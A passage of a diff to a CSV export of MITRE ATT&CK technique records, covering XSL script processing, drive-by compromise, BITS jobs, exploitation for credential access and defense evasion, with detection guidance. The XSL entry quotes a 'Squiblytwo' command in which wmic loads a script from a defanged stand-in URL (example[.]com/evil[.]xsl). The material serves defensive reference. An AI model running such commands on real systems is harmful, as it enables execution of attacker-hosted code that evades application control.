'https://twitter.com/dez_/status/986614411711442944'}]",1.2,attack-pattern,attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2021-02-09T15:07:00.842Z,XSL Script Processing,"Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019) @@ -2809,15 +3044,18 @@ Another variation of this technique, dubbed “Squiblytwo”, involves using [Wi Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) * Local File: wmic process list /FORMAT:evil[.]xsl -* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”",attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3,attack-pattern,['defense-evasion'],2021-02-09T15:07:00.842Z,2018-10-17T00:14:20.652Z,"Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. +* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”",['defense-evasion'],https://attack.mitre.org/techniques/T1220,mitre-attack,T1220,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Avneet Singh', 'Casey Smith', 'Praetorian']","['Process: Process Creation', 'Module: Module Load']","['Anti-virus', 'Application control', 'Digital Certificate Validation']","Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. -The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.","['Process: Process Creation', 'Module: Module Load']","['Avneet Singh', 'Casey Smith', 'Praetorian']","['Anti-virus', 'Application control', 'Digital Certificate Validation']",['User'],['Windows'],,,,['Microsoft Core XML Services (MSXML) or access to wmic.exe'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1222', 'url': 'https://attack.mitre.org/techniques/T1222'}, {'url': 'https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100', 'description': 'Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.', 'source_name': 'Hybrid Analysis Icacls1 June 2018'}, {'url': 'https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110', 'description': 'Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.', 'source_name': 'Hybrid Analysis Icacls2 May 2018'}, {'url': 'https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/', 'description': 'Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.', 'source_name': 'EventTracker File Permissions Feb 2014'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",2.1,False,https://attack.mitre.org/techniques/T1222,mitre-attack,T1222,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,File and Directory Permissions Modification,"Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). +The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.",False,['User'],['Windows'],,,,['Microsoft Core XML Services (MSXML) or access to wmic.exe'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1217', 'external_id': 'T1217'}]",1.0,attack-pattern,attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2020-03-26T16:06:07.367Z,Browser Bookmark Discovery,"Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. + +Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser. -Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196,attack-pattern,['defense-evasion'],2020-09-01T20:05:05.562Z,2018-10-17T00:14:20.652Z,"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. +Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.",['discovery'],https://attack.mitre.org/techniques/T1217,mitre-attack,T1217,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Mike Kemmerer'],"['Process: Process Creation', 'Command: Command Execution', 'File: File Access']",,"Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)","['Process: Process Creation', 'Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'File: File Metadata']","['CrowdStrike Falcon OverWatch', 'Jan Miller, CrowdStrike']",['File system access controls'],"['User', 'Administrator', 'SYSTEM', 'root']","['Linux', 'Windows', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1189', 'url': 'https://attack.mitre.org/techniques/T1189'}, {'url': 'http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/', 'description': 'Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.', 'source_name': 'Shadowserver Strategic Web Compromise'}, {'source_name': 'Volexity OceanLotus Nov 2017', 'description': 'Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.', 'url': 'https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",1.2,False,https://attack.mitre.org/techniques/T1189,mitre-attack,T1189,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Drive-by Compromise,"Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001). +System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.",False,['User'],"['Linux', 'Windows', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1212', 'external_id': 'T1212'}, {'source_name': 'Technet MS14-068', 'description': 'Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.', 'url': 'https://technet.microsoft.com/en-us/library/security/ms14-068.aspx'}, {'source_name': 'ADSecurity Detecting Forged Tickets', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?p=1515'}]",1.1,attack-pattern,attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2020-03-25T18:51:01.070Z,Exploitation for Credential Access,"Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.",['credential-access'],https://attack.mitre.org/techniques/T1212,mitre-attack,T1212,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['John Lambert, Microsoft Threat Intelligence Center']",,,"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.",False,['User'],"['Linux', 'Windows', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1189', 'external_id': 'T1189'}, {'source_name': 'Shadowserver Strategic Web Compromise', 'description': 'Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.', 'url': 'http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/'}, {'source_name': 'Volexity OceanLotus Nov 2017', 'description': 'Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.', 'url': 'https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/'}]",1.3,attack-pattern,attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-07-28T01:37:46.704Z,Drive-by Compromise,"Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Multiple ways of delivering exploit code to a browser exist, including: @@ -2838,44 +3076,72 @@ Typical drive-by compromise process: Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ. -Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)",attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6,attack-pattern,['initial-access'],2020-03-29T23:48:15.056Z,2018-04-18T17:59:24.739Z,"Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. +Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)",['initial-access'],https://attack.mitre.org/techniques/T1189,mitre-attack,T1189,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)']","['File: File Creation', 'Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']",,"Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. -Network intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. +Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. -Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.","['File: File Creation', 'Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']","['Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)']",,['User'],"['Windows', 'Linux', 'macOS', 'SaaS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1207', 'url': 'https://attack.mitre.org/techniques/T1207'}, {'url': 'https://www.dcshadow.com/', 'description': 'Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.', 'source_name': 'DCShadow Blog'}, {'url': 'https://adsecurity.org/?page_id=1821', 'description': 'Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.', 'source_name': 'Adsecurity Mimikatz Guide'}, {'url': 'https://github.com/shellster/DCSYNCMonitor', 'description': 'Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.', 'source_name': 'GitHub DCSYNCMonitor'}, {'url': 'https://msdn.microsoft.com/en-us/library/ms677626.aspx', 'description': 'Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.', 'source_name': 'Microsoft DirSync'}, {'url': 'https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html', 'description': 'Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.', 'source_name': 'ADDSecurity DCShadow Feb 2018'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",2.0,False,https://attack.mitre.org/techniques/T1207,mitre-attack,T1207,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Rogue Domain Controller,"Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. +Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",False,['User'],"['Windows', 'Linux', 'macOS', 'SaaS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1211', 'external_id': 'T1211'}]",1.1,attack-pattern,attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2020-03-29T20:00:46.900Z,Exploitation for Defense Evasion,"Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them. -Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) +Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.",['defense-evasion'],https://attack.mitre.org/techniques/T1211,mitre-attack,T1211,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['John Lambert, Microsoft Threat Intelligence Center']",,"['Anti-virus', 'System access controls']","Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.",False,['User'],"['Linux', 'Windows', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1197', 'external_id': 'T1197'}, {'source_name': 'Microsoft COM', 'description': 'Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx'}, {'source_name': 'Microsoft BITS', 'description': 'Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx'}, {'source_name': 'Microsoft BITSAdmin', 'description': 'Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.', 'url': 'https://msdn.microsoft.com/library/aa362813.aspx'}, {'source_name': 'CTU BITS Malware June 2016', 'description': 'Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.', 'url': 'https://www.secureworks.com/blog/malware-lingers-with-bits'}, {'source_name': 'Mondok Windows PiggyBack BITS May 2007', 'description': 'Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018.', 'url': 'https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/'}, {'source_name': 'Symantec BITS May 2007', 'description': 'Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.', 'url': 'https://www.symantec.com/connect/blogs/malware-update-windows-update'}, {'source_name': 'PaloAlto UBoatRAT Nov 2017', 'description': 'Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/'}, {'source_name': 'Microsoft Issues with BITS July 2011', 'description': 'Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.', 'url': 'https://technet.microsoft.com/library/dd939934.aspx'}, {'source_name': 'Elastic - Hunting for Persistence Part 1', 'description': 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.', 'url': 'https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1'}]",1.2,attack-pattern,attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-04-13T21:36:04.956Z,BITS Jobs,"Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. -This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)",attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a,attack-pattern,['defense-evasion'],2021-02-09T15:13:27.670Z,2018-04-18T17:59:24.739Z,"Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) +The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) -Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) +Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016) -Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog) +BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)","['defense-evasion', 'persistence']",https://attack.mitre.org/techniques/T1197,mitre-attack,T1197,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Brent Murphy, Elastic', 'David French, Elastic', 'Ricardo Dias', 'Red Canary']","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Service: Service Metadata', 'Command: Command Execution']","['Firewall', 'Host forensic analysis']","BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS) -Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.","['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication']",['Vincent Le Toux'],['Log analysis'],['Administrator'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1199', 'url': 'https://attack.mitre.org/techniques/T1199'}, {'source_name': 'CISA IT Service Providers', 'url': 'https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers', 'description': 'CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",2.2,False,https://attack.mitre.org/techniques/T1199,mitre-attack,T1199,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Trusted Relationship,"Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. +Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016) -Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)",attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925,attack-pattern,['initial-access'],2021-03-08T10:33:01.045Z,2018-04-18T17:59:24.739Z,"Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.","['Application Log: Application Log Content', 'Logon Session: Logon Session Metadata', 'Logon Session: Logon Session Creation']",['Praetorian'],,,"['Windows', 'SaaS', 'IaaS', 'Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1197', 'url': 'https://attack.mitre.org/techniques/T1197'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx', 'description': 'Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.', 'source_name': 'Microsoft COM'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx', 'description': 'Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.', 'source_name': 'Microsoft BITS'}, {'url': 'https://msdn.microsoft.com/library/aa362813.aspx', 'description': 'Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.', 'source_name': 'Microsoft BITSAdmin'}, {'url': 'https://www.secureworks.com/blog/malware-lingers-with-bits', 'description': 'Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.', 'source_name': 'CTU BITS Malware June 2016'}, {'url': 'https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/', 'description': 'Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018.', 'source_name': 'Mondok Windows PiggyBack BITS May 2007'}, {'url': 'https://www.symantec.com/connect/blogs/malware-update-windows-update', 'description': 'Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.', 'source_name': 